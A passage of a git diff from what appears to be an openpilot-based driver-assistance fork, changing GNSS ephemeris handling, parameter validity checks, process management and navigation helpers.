diff --git a/selfdrive/hybrid_modeld/thneed/compile b/selfdrive/hybrid_modeld/thneed/compile index 4e83e950a..e50a257d3 100755 Binary files a/selfdrive/hybrid_modeld/thneed/compile and b/selfdrive/hybrid_modeld/thneed/compile differ diff --git a/selfdrive/legacy_modeld/_modeld b/selfdrive/legacy_modeld/_modeld index e4d3217fe..129eb50c7 100755 Binary files a/selfdrive/legacy_modeld/_modeld and b/selfdrive/legacy_modeld/_modeld differ diff --git a/selfdrive/legacy_modeld/models/supercombo.thneed b/selfdrive/legacy_modeld/models/supercombo.thneed index 900a03242..4c88b14eb 100644 Binary files a/selfdrive/legacy_modeld/models/supercombo.thneed and b/selfdrive/legacy_modeld/models/supercombo.thneed differ diff --git a/selfdrive/locationd/calibrationd.py b/selfdrive/locationd/calibrationd.py index c9d9340a2..475673ee2 100755 --- a/selfdrive/locationd/calibrationd.py +++ b/selfdrive/locationd/calibrationd.py @@ -74,6 +74,7 @@ class Calibrator: if param_put and calibration_params: try: msg = log.Event.from_bytes(calibration_params) + # with log.Event.from_bytes(calibration_params) as msg: rpy_init = np.array(msg.liveCalibration.rpyCalib) valid_blocks = msg.liveCalibration.validBlocks wide_from_device_euler = np.array(msg.liveCalibration.wideFromDeviceEuler) diff --git a/selfdrive/locationd/laikad.py b/selfdrive/locationd/laikad.py index 71b81cc30..188da067f 100755 --- a/selfdrive/locationd/laikad.py +++ b/selfdrive/locationd/laikad.py @@ -98,11 +98,14 @@ class Laikad: self.velfix_function = get_velfix_sympy_func() self.last_fix_pos = None self.last_fix_t = None - self.gps_week = None self.use_qcom = use_qcom self.first_log_time = None self.ttff = -1 + # qcom specific stuff + self.qcom_reports_received = 1 + self.qcom_reports = [] + def load_cache(self): if not self.save_ephemeris: return @@ -114,6 +117,7 @@ class Laikad: nav_dict = {} try: ephem_cache = ephemeris_structs.EphemerisCache.from_bytes(cache_bytes) + # with ephemeris_structs.EphemerisCache.from_bytes(cache_bytes) as ephem_cache: glonass_navs = [GLONASSEphemeris(data_struct, file_name=EPHEMERIS_CACHE) for data_struct in ephem_cache.glonassEphemerides] gps_navs = [GPSEphemeris(data_struct, file_name=EPHEMERIS_CACHE) for data_struct in ephem_cache.gpsEphemerides] for e in sum([glonass_navs, gps_navs], []): @@ -130,26 +134,27 @@ class Laikad: if self.save_ephemeris and (self.last_report_time - self.last_cached_t > SECS_IN_MIN): nav_list: List = sum([v for k,v in self.astro_dog.navs.items()], []) - ephem_cache = ephemeris_structs.EphemerisCache(**{'glonassEphemerides': [e.data for e in nav_list if e.prn[0]=='R'], - 'gpsEphemerides': [e.data for e in nav_list if e.prn[0]=='G']}) - - put_nonblocking(EPHEMERIS_CACHE, ephem_cache.to_bytes()) - cloudlog.debug("Cache saved") + #TODO this only saves currently valid ephems, when we download future ephems we should save them too + valid_navs = [e for e in nav_list if e.valid(self.last_report_time)] + if len(valid_navs) > 0: + ephem_cache = ephemeris_structs.EphemerisCache(**{'glonassEphemerides': [e.data for e in valid_navs if e.prn[0]=='R'], + 'gpsEphemerides': [e.data for e in valid_navs if e.prn[0]=='G']}) + put_nonblocking(EPHEMERIS_CACHE, ephem_cache.to_bytes()) + cloudlog.debug("Cache saved") self.last_cached_t = self.last_report_time def create_ephem_statuses(self): ephemeris_statuses = [] - prns_to_check = list(self.astro_dog.get_all_ephem_prns()) - prns_to_check.sort() - for prn in prns_to_check: - eph = self.astro_dog.get_eph(prn, self.last_report_time) - if eph is not None: - status = log.GnssMeasurements.EphemerisStatus.new_message() - status.constellationId = ConstellationId.from_rinex_char(prn[0]).value - status.svId = get_sv_id(prn) - status.type = get_log_eph_type(eph).value - status.source = get_log_eph_source(eph).value - ephemeris_statuses.append(status) + eph_list: List = sum([v for k,v in self.astro_dog.navs.items()], []) + sum([v for k,v in self.astro_dog.qcom_polys.items()], []) + for eph in eph_list: + status = log.GnssMeasurements.EphemerisStatus.new_message() + status.constellationId = ConstellationId.from_rinex_char(eph.prn[0]).value + status.svId = get_sv_id(eph.prn) + status.type = get_log_eph_type(eph).value + status.source = get_log_eph_source(eph).value + status.tow = eph.epoch.tow + status.gpsWeek = eph.epoch.week + ephemeris_statuses.append(status) return ephemeris_statuses @@ -192,15 +197,15 @@ class Laikad: def is_good_report(self, gnss_msg): if gnss_msg.which() == 'drMeasurementReport' and self.use_qcom: - constellation_id = ConstellationId.from_qcom_source(gnss_msg.drMeasurementReport.source) # TODO: Understand and use remaining unknown constellations try: + constellation_id = ConstellationId.from_qcom_source(gnss_msg.drMeasurementReport.source) good_constellation = constellation_id in [ConstellationId.GPS, ConstellationId.SBAS, ConstellationId.GLONASS] + report_time = self.gps_time_from_qcom_report(gnss_msg) except NotImplementedError: - good_constellation = False + return False # Garbage timestamps with week > 32767 are sometimes sent by module. # This is an issue with gpsTime and GLONASS time. - report_time = self.gps_time_from_qcom_report(gnss_msg) good_week = report_time.week < np.iinfo(np.int16).max return good_constellation and good_week elif gnss_msg.which() == 'measurementReport' and not self.use_qcom: @@ -210,18 +215,19 @@ class Laikad: def read_report(self, gnss_msg): if self.use_qcom: - # QCOM reports are per constellation, should always send 3 reports + # QCOM reports are per constellation, so we need to aggregate them report = gnss_msg.drMeasurementReport report_time = self.gps_time_from_qcom_report(gnss_msg) if report_time - self.last_report_time > 0: + self.qcom_reports_received = max(1, len(self.qcom_reports)) self.qcom_reports = [report] else: self.qcom_reports.append(report) self.last_report_time = report_time new_meas = [] - if len(self.qcom_reports) == 3: + if len(self.qcom_reports) == self.qcom_reports_received: for report in self.qcom_reports: new_meas.extend(read_raw_qcom(report)) @@ -239,11 +245,8 @@ class Laikad: def read_ephemeris(self, gnss_msg): if self.use_qcom: - # TODO this is not robust to gps week rollover - if self.gps_week is None: - return try: - ephem = parse_qcom_ephem(gnss_msg.drSvPoly, self.gps_week) + ephem = parse_qcom_ephem(gnss_msg.drSvPoly) self.astro_dog.add_qcom_polys({ephem.prn: [ephem]}) except Exception: cloudlog.exception("Error parsing qcom svPoly ephemeris from qcom module") @@ -304,7 +307,6 @@ class Laikad: self.read_ephemeris(gnss_msg) elif self.is_good_report(gnss_msg): report_t, new_meas = self.read_report(gnss_msg) - self.gps_week = report_t.week if report_t.week > 0: if self.auto_fetch_navs: self.fetch_navs(report_t, block) @@ -447,7 +449,7 @@ def clear_tmp_cache(): def main(sm=None, pm=None): #clear_tmp_cache() - use_qcom = not Params().get_bool("UbloxAvailable", block=True) + use_qcom = not Params().get_bool("UbloxAvailable") if use_qcom: raw_name = "qcomGnss" else: @@ -457,12 +459,10 @@ def main(sm=None, pm=None): pm = messaging.PubMaster(['gnssMeasurements']) # disable until set as main gps source, to better analyze startup time + # TODO ensure low CPU usage before enabling use_internet = False # "LAIKAD_NO_INTERNET" not in os.environ replay = "REPLAY" in os.environ - if replay: - use_internet = True - laikad = Laikad(save_ephemeris=not replay, auto_fetch_navs=use_internet, use_qcom=use_qcom) while True: diff --git a/selfdrive/locationd/locationd b/selfdrive/locationd/locationd index b0c8f17c1..186f2afbd 100755 Binary files a/selfdrive/locationd/locationd and b/selfdrive/locationd/locationd differ diff --git a/selfdrive/locationd/locationd.h b/selfdrive/locationd/locationd.h index 2afa3f3d4..136006ff7 100755 --- a/selfdrive/locationd/locationd.h +++ b/selfdrive/locationd/locationd.h @@ -21,10 +21,13 @@ #define POSENET_STD_HIST_HALF 20 +enum LocalizerGnssSource { + UBLOX, QCOMGNSS +}; + class Localizer { public: - Localizer(); - Localizer(bool has_ublox); + Localizer(LocalizerGnssSource gnss_source = LocalizerGnssSource::UBLOX); int locationd_thread(); @@ -82,10 +85,15 @@ private: double first_valid_log_time = NAN; double ttff = NAN; double last_gps_msg = 0; - bool ublox_available = true; + LocalizerGnssSource gnss_source; bool observation_timings_invalid = false; std::map observation_values_invalid; bool standstill = true; int32_t orientation_reset_count = 0; float gps_std_factor; + float gps_variance_factor; + float gps_vertical_variance_factor; + double gps_time_offset; + + void configure_gnss_source(LocalizerGnssSource source); }; diff --git a/selfdrive/locationd/models/generated/car.h b/selfdrive/locationd/models/generated/car.h index 860f0bf09..a5ecfc65f 100644 --- a/selfdrive/locationd/models/generated/car.h +++ b/selfdrive/locationd/models/generated/car.h @@ -9,27 +9,27 @@ void car_update_27(double *in_x, double *in_P, double *in_z, double *in_R, doubl void car_update_29(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); void car_update_28(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); void car_update_31(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); -void car_err_fun(double *nom_x, double *delta_x, double *out_36399703031354541); -void car_inv_err_fun(double *nom_x, double *true_x, double *out_1481941880078478546); -void car_H_mod_fun(double *state, double *out_782698275337075542); -void car_f_fun(double *state, double dt, double *out_1178114905851405491); -void car_F_fun(double *state, double dt, double *out_6287201840608329987); -void car_h_25(double *state, double *unused, double *out_6173327891092993483); -void car_H_25(double *state, double *unused, double *out_7500800954454960250); -void car_h_24(double *state, double *unused, double *out_8736520822803851319); -void car_H_24(double *state, double *unused, double *out_3503268526265875046); -void car_h_30(double *state, double *unused, double *out_6448521953377499372); -void car_H_30(double *state, double *unused, double *out_7630139901598200320); -void car_h_26(double *state, double *unused, double *out_346002517644304982); -void car_H_26(double *state, double *unused, double *out_7204439800380535142); -void car_h_27(double *state, double *unused, double *out_7271742914955712488); -void car_H_27(double *state, double *unused, double *out_8641840860310926385); -void car_h_29(double *state, double *unused, double *out_3411735901933166687); -void car_H_29(double *state, double *unused, double *out_6928478133441375352); -void car_h_28(double *state, double *unused, double *out_1446094004912979838); -void car_H_28(double *state, double *unused, double *out_1846079116371844778); -void car_h_31(double *state, double *unused, double *out_7623959283721876650); -void car_H_31(double *state, double *unused, double *out_7470154992577999822); +void car_err_fun(double *nom_x, double *delta_x, double *out_6418008894828543880); +void car_inv_err_fun(double *nom_x, double *true_x, double *out_1941682345751704468); +void car_H_mod_fun(double *state, double *out_2092090189261374191); +void car_f_fun(double *state, double dt, double *out_2276750736619583802); +void car_F_fun(double *state, double dt, double *out_1624010529949937280); +void car_h_25(double *state, double *unused, double *out_3118536560980860465); +void car_H_25(double *state, double *unused, double *out_4788925088057501687); +void car_h_24(double *state, double *unused, double *out_5980892570550494700); +void car_H_24(double *state, double *unused, double *out_1786646718534016414); +void car_h_30(double *state, double *unused, double *out_4569167953609743632); +void car_H_30(double *state, double *unused, double *out_2127765253434115068); +void car_h_26(double *state, double *unused, double *out_2433594750183322147); +void car_H_26(double *state, double *unused, double *out_8530428406931557911); +void car_h_27(double *state, double *unused, double *out_6155322612425193150); +void car_H_27(double *state, double *unused, double *out_46998058366309843); +void car_h_29(double *state, double *unused, double *out_432505314051102013); +void car_H_29(double *state, double *unused, double *out_1760360785235860876); +void car_h_28(double *state, double *unused, double *out_6949554225398327903); +void car_H_28(double *state, double *unused, double *out_6842759802305391450); +void car_h_31(double *state, double *unused, double *out_3393730623265366354); +void car_H_31(double *state, double *unused, double *out_4758279126180541259); void car_predict(double *in_x, double *in_P, double *in_Q, double dt); void car_set_mass(double x); void car_set_rotational_inertia(double x); diff --git a/selfdrive/locationd/models/generated/gnss.h b/selfdrive/locationd/models/generated/gnss.h index 8374e602b..1f6294b83 100644 --- a/selfdrive/locationd/models/generated/gnss.h +++ b/selfdrive/locationd/models/generated/gnss.h @@ -5,18 +5,18 @@ void gnss_update_6(double *in_x, double *in_P, double *in_z, double *in_R, doubl void gnss_update_20(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); void gnss_update_7(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); void gnss_update_21(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); -void gnss_err_fun(double *nom_x, double *delta_x, double *out_920563397091966765); -void gnss_inv_err_fun(double *nom_x, double *true_x, double *out_9207898715518151756); -void gnss_H_mod_fun(double *state, double *out_8858641397583587342); -void gnss_f_fun(double *state, double dt, double *out_8883459878223034240); -void gnss_F_fun(double *state, double dt, double *out_5523223948218415506); -void gnss_h_6(double *state, double *sat_pos, double *out_580488090984610716); -void gnss_H_6(double *state, double *sat_pos, double *out_930024451989407159); -void gnss_h_20(double *state, double *sat_pos, double *out_5239371180373600875); -void gnss_H_20(double *state, double *sat_pos, double *out_4343366647947653302); -void gnss_h_7(double *state, double *sat_pos_vel, double *out_1146845787665601201); -void gnss_H_7(double *state, double *sat_pos_vel, double *out_913804198191897829); -void gnss_h_21(double *state, double *sat_pos_vel, double *out_1146845787665601201); -void gnss_H_21(double *state, double *sat_pos_vel, double *out_913804198191897829); +void gnss_err_fun(double *nom_x, double *delta_x, double *out_4028801004516007796); +void gnss_inv_err_fun(double *nom_x, double *true_x, double *out_3768849830028997118); +void gnss_H_mod_fun(double *state, double *out_2860011657596565513); +void gnss_f_fun(double *state, double dt, double *out_8277081820145941661); +void gnss_F_fun(double *state, double dt, double *out_5064250981141033808); +void gnss_h_6(double *state, double *sat_pos, double *out_7274148501542244040); +void gnss_H_6(double *state, double *sat_pos, double *out_7813858614004248739); +void gnss_h_20(double *state, double *sat_pos, double *out_6896396091969207190); +void gnss_H_20(double *state, double *sat_pos, double *out_4020760982424116862); +void gnss_h_7(double *state, double *sat_pos_vel, double *out_9148421716190266371); +void gnss_H_7(double *state, double *sat_pos_vel, double *out_1227456213680405631); +void gnss_h_21(double *state, double *sat_pos_vel, double *out_9148421716190266371); +void gnss_H_21(double *state, double *sat_pos_vel, double *out_1227456213680405631); void gnss_predict(double *in_x, double *in_P, double *in_Q, double dt); } \ No newline at end of file diff --git a/selfdrive/locationd/models/generated/libkf.so b/selfdrive/locationd/models/generated/libkf.so index 6ea431533..60dba3a0e 100755 Binary files a/selfdrive/locationd/models/generated/libkf.so and b/selfdrive/locationd/models/generated/libkf.so differ diff --git a/selfdrive/locationd/models/generated/live.h b/selfdrive/locationd/models/generated/live.h index c214a3fb4..df89010b0 100644 --- a/selfdrive/locationd/models/generated/live.h +++ b/selfdrive/locationd/models/generated/live.h @@ -10,29 +10,29 @@ void live_update_32(double *in_x, double *in_P, double *in_z, double *in_R, doub void live_update_13(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); void live_update_14(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); void live_update_33(double *in_x, double *in_P, double *in_z, double *in_R, double *in_ea); -void live_H(double *in_vec, double *out_4281580954174424078); -void live_err_fun(double *nom_x, double *delta_x, double *out_6020033059433352461); -void live_inv_err_fun(double *nom_x, double *true_x, double *out_8784462575491582337); -void live_H_mod_fun(double *state, double *out_3196248901070636896); -void live_f_fun(double *state, double dt, double *out_1307995963717417138); -void live_F_fun(double *state, double dt, double *out_2913954870345271558); -void live_h_4(double *state, double *unused, double *out_5227201962942267756); -void live_H_4(double *state, double *unused, double *out_8934556766272716891); -void live_h_9(double *state, double *unused, double *out_8242329221781602876); -void live_H_9(double *state, double *unused, double *out_6045695213992637549); -void live_h_10(double *state, double *unused, double *out_4525709092164084266); -void live_H_10(double *state, double *unused, double *out_6290261927440969782); -void live_h_12(double *state, double *unused, double *out_1533628872533736742); -void live_H_12(double *state, double *unused, double *out_8313457741225123224); -void live_h_35(double *state, double *unused, double *out_3219567362710053882); -void live_H_35(double *state, double *unused, double *out_5567894708900109515); -void live_h_32(double *state, double *unused, double *out_7936133118583631274); -void live_H_32(double *state, double *unused, double *out_7279438951942359868); -void live_h_13(double *state, double *unused, double *out_2282936705415825262); -void live_H_13(double *state, double *unused, double *out_2592371241030708137); -void live_h_14(double *state, double *unused, double *out_8242329221781602876); -void live_H_14(double *state, double *unused, double *out_6045695213992637549); -void live_h_33(double *state, double *unused, double *out_5915136300903460843); -void live_H_33(double *state, double *unused, double *out_2417337704261251911); +void live_H(double *in_vec, double *out_4115360115617180917); +void live_err_fun(double *nom_x, double *delta_x, double *out_5028549102333271222); +void live_inv_err_fun(double *nom_x, double *true_x, double *out_3646282937470409636); +void live_H_mod_fun(double *state, double *out_7127514700151125808); +void live_f_fun(double *state, double dt, double *out_3531017197459290528); +void live_F_fun(double *state, double dt, double *out_5997997079382275200); +void live_h_4(double *state, double *unused, double *out_6904501674011099908); +void live_H_4(double *state, double *unused, double *out_5118231804045452936); +void live_h_9(double *state, double *unused, double *out_4418067749625567351); +void live_H_9(double *state, double *unused, double *out_5359421450675043581); +void live_h_10(double *state, double *unused, double *out_4758123137462151767); +void live_H_10(double *state, double *unused, double *out_4946595789551345802); +void live_h_12(double *state, double *unused, double *out_4503841594187230457); +void live_H_12(double *state, double *unused, double *out_8309055861632136885); +void live_h_35(double *state, double *unused, double *out_4180789303881171216); +void live_H_35(double *state, double *unused, double *out_5563492829307123176); +void live_h_32(double *state, double *unused, double *out_136984558303756229); +void live_H_32(double *state, double *unused, double *out_1570029357723943956); +void live_h_13(double *state, double *unused, double *out_8534437771530735397); +void live_H_13(double *state, double *unused, double *out_485470292711997410); +void live_h_14(double *state, double *unused, double *out_4418067749625567351); +void live_H_14(double *state, double *unused, double *out_5359421450675043581); +void live_h_33(double *state, double *unused, double *out_2950569226751515122); +void live_H_33(double *state, double *unused, double *out_6811293207652633700); void live_predict(double *in_x, double *in_P, double *in_Q, double dt); } \ No newline at end of file diff --git a/selfdrive/locationd/paramsd.py b/selfdrive/locationd/paramsd.py index 7e30b1e3a..2e035e5ef 100755 --- a/selfdrive/locationd/paramsd.py +++ b/selfdrive/locationd/paramsd.py @@ -1,10 +1,12 @@ #!/usr/bin/env python3 +import os import math import json import numpy as np import cereal.messaging as messaging from cereal import car +from cereal import log from common.params import Params, put_nonblocking from common.realtime import config_realtime_process, DT_MDL from common.numpy_fast import clip @@ -16,8 +18,11 @@ from system.swaglog import cloudlog MAX_ANGLE_OFFSET_DELTA = 20 * DT_MDL # Max 20 deg/s ROLL_MAX_DELTA = math.radians(20.0) * DT_MDL # 20deg in 1 second is well within curvature limits ROLL_MIN, ROLL_MAX = math.radians(-10), math.radians(10) +ROLL_LOWERED_MAX = math.radians(8) ROLL_STD_MAX = math.radians(1.5) LATERAL_ACC_SENSOR_THRESHOLD = 4.0 +OFFSET_MAX = 10.0 +OFFSET_LOWERED_MAX = 8.0 class ParamsLearner: @@ -102,9 +107,20 @@ class ParamsLearner: self.kf.filter.reset_rewind() +def check_valid_with_hysteresis(current_valid: bool, val: float, threshold: float, lowered_threshold: float): + if current_valid: + current_valid = abs(val) < threshold + else: + current_valid = abs(val) < lowered_threshold + return current_valid + + def main(sm=None, pm=None): config_realtime_process([0, 1, 2, 3], 5) + DEBUG = bool(int(os.getenv("DEBUG", "0"))) + REPLAY = bool(int(os.getenv("REPLAY", "0"))) + if sm is None: sm = messaging.SubMaster(['liveLocationKalman', 'carState'], poll=['liveLocationKalman']) if pm is None: @@ -113,6 +129,8 @@ def main(sm=None, pm=None): params_reader = Params() # wait for stats about the car to come in from controls cloudlog.info("paramsd is waiting for CarParams") + # with car.CarParams.from_bytes(params_reader.get("CarParams", block=True)) as msg: + # CP = msg CP = car.CarParams.from_bytes(params_reader.get("CarParams", block=True)) cloudlog.info("paramsd got CarParams") @@ -130,10 +148,8 @@ def main(sm=None, pm=None): # Check if starting values are sane if params is not None: try: - angle_offset_sane = abs(params.get('angleOffsetAverageDeg')) < 10.0 steer_ratio_sane = min_sr <= params['steerRatio'] <= max_sr - params_sane = angle_offset_sane and steer_ratio_sane - if not params_sane: + if not steer_ratio_sane: cloudlog.info(f"Invalid starting values found {params}") params = None except Exception as e: @@ -150,13 +166,22 @@ def main(sm=None, pm=None): } cloudlog.info("Parameter learner resetting to default values") - # When driving in wet conditions the stiffness can go down, and then be too low on the next drive - # Without a way to detect this we have to reset the stiffness every drive - params['stiffnessFactor'] = 1.0 - learner = ParamsLearner(CP, params['steerRatio'], params['stiffnessFactor'], math.radians(params['angleOffsetAverageDeg'])) + if not REPLAY: + # When driving in wet conditions the stiffness can go down, and then be too low on the next drive + # Without a way to detect this we have to reset the stiffness every drive + params['stiffnessFactor'] = 1.0 + + pInitial = None + if DEBUG: + pInitial = np.array(params['filterState']['std']) if 'filterState' in params else None + + learner = ParamsLearner(CP, params['steerRatio'], params['stiffnessFactor'], math.radians(params['angleOffsetAverageDeg']), pInitial) angle_offset_average = params['angleOffsetAverageDeg'] angle_offset = angle_offset_average roll = 0.0 + avg_offset_valid = True + total_offset_valid = True + roll_valid = True while True: sm.update() @@ -180,6 +205,9 @@ def main(sm=None, pm=None): roll_std = float(P[States.ROAD_ROLL]) # Account for the opposite signs of the yaw rates sensors_valid = bool(abs(learner.speed * (x[States.YAW_RATE] + learner.yaw_rate)) < LATERAL_ACC_SENSOR_THRESHOLD) + avg_offset_valid = check_valid_with_hysteresis(avg_offset_valid, angle_offset_average, OFFSET_MAX, OFFSET_LOWERED_MAX) + total_offset_valid = check_valid_with_hysteresis(total_offset_valid, angle_offset, OFFSET_MAX, OFFSET_LOWERED_MAX) + roll_valid = check_valid_with_hysteresis(roll_valid, roll, ROLL_MAX, ROLL_LOWERED_MAX) msg = messaging.new_message('liveParameters') @@ -192,9 +220,9 @@ def main(sm=None, pm=None): liveParameters.angleOffsetAverageDeg = angle_offset_average liveParameters.angleOffsetDeg = angle_offset liveParameters.valid = all(( - abs(liveParameters.angleOffsetAverageDeg) < 10.0, - abs(liveParameters.angleOffsetDeg) < 10.0, - abs(liveParameters.roll) < ROLL_MAX, + avg_offset_valid, + total_offset_valid, + roll_valid, roll_std < ROLL_STD_MAX, 0.2 <= liveParameters.stiffnessFactor <= 5.0, min_sr <= liveParameters.steerRatio <= max_sr, @@ -203,6 +231,11 @@ def main(sm=None, pm=None): liveParameters.stiffnessFactorStd = float(P[States.STIFFNESS]) liveParameters.angleOffsetAverageStd = float(P[States.ANGLE_OFFSET]) liveParameters.angleOffsetFastStd = float(P[States.ANGLE_OFFSET_FAST]) + if DEBUG: + liveParameters.filterState = log.LiveLocationKalman.Measurement.new_message() + liveParameters.filterState.value = x.tolist() + liveParameters.filterState.std = P.tolist() + liveParameters.filterState.valid = True msg.valid = sm.all_checks() diff --git a/selfdrive/locationd/torqued.py b/selfdrive/locationd/torqued.py index e9fd70aba..3fc0d4cf7 100755 --- a/selfdrive/locationd/torqued.py +++ b/selfdrive/locationd/torqued.py @@ -141,6 +141,10 @@ class TorqueEstimator: try: cache_ltp = log.Event.from_bytes(torque_cache).liveTorqueParameters cache_CP = car.CarParams.from_bytes(params_cache) + # with log.Event.from_bytes(torque_cache) as log_evt: + # cache_ltp = log_evt.liveTorqueParameters + # with car.CarParams.from_bytes(params_cache) as msg: + # cache_CP = msg if self.get_restore_key(cache_CP, cache_ltp.version) == self.get_restore_key(CP, VERSION): if cache_ltp.liveValid: initial_params = { @@ -263,6 +267,7 @@ def main(sm=None, pm=None): params = Params() CP = car.CarParams.from_bytes(params.get("CarParams", block=True)) + # with car.CarParams.from_bytes(params.get("CarParams", block=True)) as CP: estimator = TorqueEstimator(CP) def cache_params(sig, frame): diff --git a/selfdrive/loggerd/bootlog b/selfdrive/loggerd/bootlog index fe60d76ff..1053aee1a 100755 Binary files a/selfdrive/loggerd/bootlog and b/selfdrive/loggerd/bootlog differ diff --git a/selfdrive/loggerd/loggerd b/selfdrive/loggerd/loggerd index 8a766e7bf..833f9bb9e 100755 Binary files a/selfdrive/loggerd/loggerd and b/selfdrive/loggerd/loggerd differ diff --git a/selfdrive/manager/manager.py b/selfdrive/manager/manager.py index d409c3f68..beb32d825 100755 --- a/selfdrive/manager/manager.py +++ b/selfdrive/manager/manager.py @@ -50,8 +50,8 @@ def manager_init() -> None: ("dp_no_gps_ctrl", "0"), ("dp_no_fan_ctrl", "0"), ("dp_logging", "0"), - ("dp_alka", "1"), - ("dp_mapd", "1"), + ("dp_alka", "0"), + ("dp_mapd", "0"), ("dp_lat_lane_priority_mode", "0"), ("dp_0813", "0"), ("dp_device_auto_shutdown", "0"), @@ -64,6 +64,13 @@ def manager_init() -> None: ("dp_device_disable_temp_check", "0"), ("dp_fileserv", "0"), ("dp_otisserv", "0"), + ("dp_car_dashcam_mode_removal", "0"), + ("dp_device_enable_comma_registration", "0"), + ("dp_long_accel_profile", "0"), + ("dp_long_use_df_tune", "0"), + ("dp_long_de2e", "0"), + ("dp_mapd_vision_turn_control", "0"), + ("dp_hkg_min_steer_speed_bypass", "0"), ] if not PC: default_params.append(("LastUpdateTime", datetime.datetime.utcnow().isoformat().encode('utf8'))) diff --git a/selfdrive/manager/process.py b/selfdrive/manager/process.py index ce18073d9..7d0993188 100644 --- a/selfdrive/manager/process.py +++ b/selfdrive/manager/process.py @@ -91,7 +91,7 @@ class ManagerProcess(ABC): pass def restart(self) -> None: - self.stop() + self.stop(sig=signal.SIGKILL) self.start() def check_watchdog(self, started: bool) -> None: @@ -100,29 +100,30 @@ class ManagerProcess(ABC): try: fn = WATCHDOG_FN + str(self.proc.pid) - # TODO: why can't pylint find struct.unpack? - self.last_watchdog_time = struct.unpack('Q', open(fn, "rb").read())[0] # pylint: disable=no-member + with open(fn, "rb") as f: + # TODO: why can't pylint find struct.unpack? + self.last_watchdog_time = struct.unpack('Q', f.read())[0] # pylint: disable=no-member except Exception: pass dt = sec_since_boot() - self.last_watchdog_time / 1e9 if dt > self.watchdog_max_dt: - # Only restart while offroad for now if self.watchdog_seen and ENABLE_WATCHDOG: cloudlog.error(f"Watchdog timeout for {self.name} (exitcode {self.proc.exitcode}) restarting ({started=})") self.restart() else: self.watchdog_seen = True - def stop(self, retry: bool=True, block: bool=True) -> Optional[int]: + def stop(self, retry: bool = True, block: bool = True, sig: Optional[signal.Signals] = None) -> Optional[int]: if self.proc is None: return None if self.proc.exitcode is None: if not self.shutting_down: cloudlog.info(f"killing {self.name}") - sig = signal.SIGKILL if self.sigkill else signal.SIGINT + if sig is None: + sig = signal.SIGKILL if self.sigkill else signal.SIGINT self.signal(sig) self.shutting_down = True @@ -257,14 +258,16 @@ class DaemonProcess(ManagerProcess): self.enabled = enabled self.onroad = True self.offroad = True + self.params = None def prepare(self) -> None: pass def start(self) -> None: - params = Params() - pid = params.get(self.param_name, encoding='utf-8') + if self.params is None: + self.params = Params() + pid = self.params.get(self.param_name, encoding='utf-8') if pid is not None: try: os.kill(int(pid), 0) @@ -283,9 +286,9 @@ class DaemonProcess(ManagerProcess): stderr=open('/dev/null', 'w'), preexec_fn=os.setpgrp) - params.put(self.param_name, str(proc.pid)) + self.params.put(self.param_name, str(proc.pid)) - def stop(self, retry=True, block=True) -> None: + def stop(self, retry=True, block=True, sig=None) -> None: pass diff --git a/selfdrive/manager/process_config.py b/selfdrive/manager/process_config.py index bd18631a8..1aae3eb09 100644 --- a/selfdrive/manager/process_config.py +++ b/selfdrive/manager/process_config.py @@ -26,7 +26,8 @@ def ublox_available() -> bool: def ublox(started, params, CP: car.CarParams) -> bool: use_ublox = ublox_available() - params.put_bool("UbloxAvailable", use_ublox) + if use_ublox != params.get_bool("UbloxAvailable"): + params.put_bool("UbloxAvailable", use_ublox) return started and use_ublox def qcomgps(started, params, CP: car.CarParams) -> bool: @@ -49,12 +50,12 @@ procs = [ NativeProcess("dmonitoringmodeld", "selfdrive/hybrid_modeld", ["./dmonitoringmodeld"], enabled=(not PC or WEBCAM) and not NO_IR_CTRL, callback=driverview), # NativeProcess("encoderd", "system/loggerd", ["./encoderd"]), NativeProcess("loggerd", "selfdrive/loggerd", ["./loggerd"], onroad=False, callback=logging), - NativeProcess("modeld", "selfdrive/hybrid_modeld" if not use_old_model else "selfdrive/legacy_modeld", ["./modeld"]), - # NativeProcess("mapsd", "selfdrive/navd", ["./map_renderer"], enabled=False), - # NativeProcess("navmodeld", "selfdrive/modeld", ["./navmodeld"], enabled=False), - NativeProcess("sensord", "system/sensord", ["./sensord"], enabled=not PC, offroad=True), + NativeProcess("modeld", "selfdrive/hybrid_modeld", ["./modeld"]), + # NativeProcess("mapsd", "selfdrive/navd", ["./mapsd"]), + # NativeProcess("navmodeld", "selfdrive/modeld", ["./navmodeld"]), + NativeProcess("sensord", "system/sensord", ["./sensord"], enabled=not PC, offroad=EON), NativeProcess("ui", "selfdrive/ui", ["./ui"], offroad=True, watchdog_max_dt=(5 if not PC else None)), - NativeProcess("soundd", "selfdrive/ui/soundd", ["./soundd"], offroad=True), + NativeProcess("soundd", "selfdrive/ui/soundd", ["./soundd"]), NativeProcess("locationd", "selfdrive/locationd", ["./locationd"]), NativeProcess("boardd", "selfdrive/boardd", ["./boardd"], enabled=False), PythonProcess("calibrationd", "selfdrive.locationd.calibrationd"), diff --git a/selfdrive/navd/.gitignore b/selfdrive/navd/.gitignore index a070fe32b..4801d60a2 100644 --- a/selfdrive/navd/.gitignore +++ b/selfdrive/navd/.gitignore @@ -1,5 +1,6 @@ moc_* *.moc +mapsd map_renderer libmap_renderer.so diff --git a/selfdrive/navd/README.md b/selfdrive/navd/README.md index 6c7f7eabe..3047b7f8e 100644 --- a/selfdrive/navd/README.md +++ b/selfdrive/navd/README.md @@ -1,6 +1,6 @@ # navigation -This directory contains two daemons, `navd` and `map_renderer`, which support navigation in the openpilot stack. +This directory contains two daemons, `navd` and `mapsd`, which support navigation in the openpilot stack. ### navd diff --git a/selfdrive/navd/helpers.py b/selfdrive/navd/helpers.py index eda813154..011a6c5fb 100644 --- a/selfdrive/navd/helpers.py +++ b/selfdrive/navd/helpers.py @@ -29,7 +29,10 @@ class Coordinate: return {'latitude': self.latitude, 'longitude': self.longitude} def __str__(self) -> str: - return f"({self.latitude}, {self.longitude})" + return f'Coordinate({self.latitude}, {self.longitude})' + + def __repr__(self) -> str: + return self.__str__() def __eq__(self, other) -> bool: if not isinstance(other, Coordinate): @@ -128,6 +131,10 @@ def maxspeed_to_ms(maxspeed: Dict[str, Union[str, float]]) -> float: return SPEED_CONVERSIONS[unit] * speed +def field_valid(dat: dict, field: str) 